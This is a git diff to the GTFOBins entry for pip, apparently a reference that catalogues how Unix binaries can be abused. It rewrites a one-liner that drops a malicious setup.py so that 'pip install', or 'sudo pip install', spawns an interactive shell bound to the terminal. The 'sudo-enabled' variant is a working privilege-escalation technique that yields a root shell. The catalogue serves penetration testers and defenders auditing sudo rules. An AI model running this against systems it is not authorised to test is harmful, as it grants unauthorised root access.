diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md index 7e4ae05..4d0870f 100644 --- a/_gtfobins/pip.md +++ b/_gtfobins/pip.md @@ -5,11 +5,11 @@ functions: execute-interactive: - code: | TF=$(mktemp -d) - echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py pip install $TF sudo-enabled: - code: | TF=$(mktemp -d) - echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF ---